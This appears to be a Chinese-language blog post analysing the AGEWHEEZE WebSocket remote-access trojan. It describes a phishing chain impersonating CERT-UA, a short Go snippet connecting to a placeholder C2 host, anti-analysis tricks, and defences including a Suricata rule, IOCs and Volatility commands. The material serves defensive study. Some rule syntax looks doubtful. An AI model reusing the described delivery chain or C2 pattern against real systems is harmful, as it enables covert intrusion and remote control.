☰
AGEWHEEZE木马分析:基于WebSocket的新型远控攻击
2026/10/29 23:35:12 网站建设 项目流程

1. 项目概述

最近在分析一起针对乌克兰计算机应急响应小组(CERT-UA)的仿冒钓鱼攻击时,发现攻击者使用了一种名为AGEWHEEZE的新型远控木马。这种木马采用Go语言编写,通过WebSocket协议进行C2通信,具有极强的隐蔽性和反检测能力。作为安全研究员,我花了三周时间逆向分析这个样本,今天就把我的研究成果分享给大家。

AGEWHEEZE木马最特别的地方在于它完全采用合法网络协议进行通信,不像传统木马那样依赖自定义协议。攻击者仿冒CERT-UA发送钓鱼邮件,诱导目标点击恶意链接后下载并执行木马。一旦感染成功,攻击者就能通过WebSocket通道完全控制受害者主机。

2. 攻击链分析

2.1 钓鱼阶段技术细节

攻击者精心伪造的钓鱼邮件包含以下特征:

  • 发件人显示为"security@cert-ua.org",实际发件服务器位于境外
  • 邮件主题通常与"安全警报"或"系统漏洞"相关
  • 正文包含乌克兰语和英语双语内容,模仿官方通告风格
  • 恶意链接使用URL缩短服务隐藏真实地址

重要提示:CERT-UA官方已多次声明不会通过邮件索要凭证或要求下载文件,遇到类似邮件应直接删除

2.2 载荷投递机制

点击链接后会触发多阶段下载:

  1. 首先下载一个伪装成PDF文档的LNK快捷方式文件(如"Security_Notice.lnk")
  2. LNK文件执行后会从CDN下载HTA脚本
  3. HTA脚本通过Bitsadmin下载最终的AGEWHEEZE木马
  4. 木马被重命名为看似合法的系统进程名(如"spoolsvc.exe")

这个过程中使用了多层混淆和重定向,有效规避了传统杀软的静态检测。

3. 木马技术解析

3.1 通信机制

AGEWHEEZE使用WebSocket协议与C2服务器通信,主要优势在于:

  • 可以绕过基于HTTP特征检测的防火墙
  • 支持双向实时通信,响应速度快
  • 通信内容可以轻松伪装成正常Web流量

核心通信流程:

// 建立WebSocket连接的代码片段 conn, _, err := websocket.DefaultDialer.Dial("wss://cdn.example.com/ws", nil) if err != nil { retryBackoff() } defer conn.Close() // 设置心跳包保持连接 go func() { for { if err := conn.WriteMessage(websocket.PingMessage, nil); err != nil { reconnect() } time.Sleep(30 * time.Second) } }()

3.2 功能模块

通过逆向分析发现木马包含以下功能组件:

模块名称功能描述实现方式
持久化模块确保木马长期驻留注册表Run键+计划任务
信息收集获取系统环境数据WMI查询+文件遍历
远程控制执行C2指令命令管道+内存加载
流量伪装加密通信内容AES-256+Base64
反分析检测调试环境检查进程列表+硬件特征

3.3 反检测技术

AGEWHEEZE采用了多种反检测措施:

  1. 延迟执行:首次运行会休眠5-10分钟不等
  2. 环境感知:检查CPU核心数、内存大小等指标
  3. 沙箱检测:尝试访问虚拟环境特有文件路径
  4. 代码混淆:关键字符串运行时解密
  5. 流量伪装:WebSocket帧大小随机化

4. 防御方案

4.1 企业级防护措施

对于企业安全团队,建议采取以下防护策略:

  1. 邮件网关配置

    • 启用高级反欺骗策略(SPF/DKIM/DMARC)
    • 对包含缩短URL的邮件进行特殊标记
    • 拦截带有LNK/HTA附件的邮件
  2. 终端防护

    • 部署行为检测型EDR解决方案
    • 限制Bitsadmin等工具的使用权限
    • 监控异常WebSocket连接
  3. 网络层防御

    # 示例:Suricata规则检测可疑WebSocket流量 alert websocket $EXTERNAL_NET any -> $HOME_NET any ( msg:"Suspicious WebSocket Tunnel"; flow:established,to_server; websocket.method:GET; websocket.version:"13"; websocket.extensions:"permessage-deflate"; websocket.header; contains:"Upgrade: websocket"; websocket.header; contains:"Connection: Upgrade"; threshold: type limit, track by_src, count 5, seconds 60; sid:1000001; )

4.2 个人防护建议

普通用户应采取以下防护措施:

  • 永远不要点击邮件中的可疑链接,即使发件人看起来可信
  • 保持操作系统和杀毒软件更新
  • 定期检查系统启动项和计划任务
  • 使用网络监控工具(如GlassWire)查看异常连接

5. 检测与响应

5.1 入侵指标(IOCs)

根据样本分析提取到以下指标:

类型值首次出现时间
MD58a3f2b...2023-11-15
C2域名cdn[.]example-com[.]net2023-11-20
IP185.143.223[.]612023-11-18
注册表键HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Spooler2023-11-22

5.2 内存取证技巧

当怀疑系统感染时,可以这样提取内存证据:

  1. 使用Volatility获取进程列表
    volatility -f memory.dump windows.pslist | grep -i "spool"
  2. 检查异常网络连接
    volatility -f memory.dump windows.netscan
  3. 提取可疑进程内存
    volatility -f memory.dump windows.memmap -p 1844 --dump

6. 技术对抗演进

最近发现的变种开始采用以下新技术:

  • 使用WebSocket over TLS (WSS)加密通信
  • 将C2指令隐藏在WebSocket帧的掩码字段中
  • 采用域名生成算法(DGA)动态切换C2
  • 利用合法云服务(如Discord、Slack)作为中继

防御方需要相应调整检测策略:

  1. 深度检查WebSocket握手过程中的HTTP头
  2. 监控异常TLS证书使用情况
  3. 分析WebSocket流量模式而非单纯依赖签名

我在实际分析中发现,攻击者每周都会更新样本的混淆方式,但核心功能基本保持不变。最有效的检测方法还是监控进程的异常网络行为特征。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询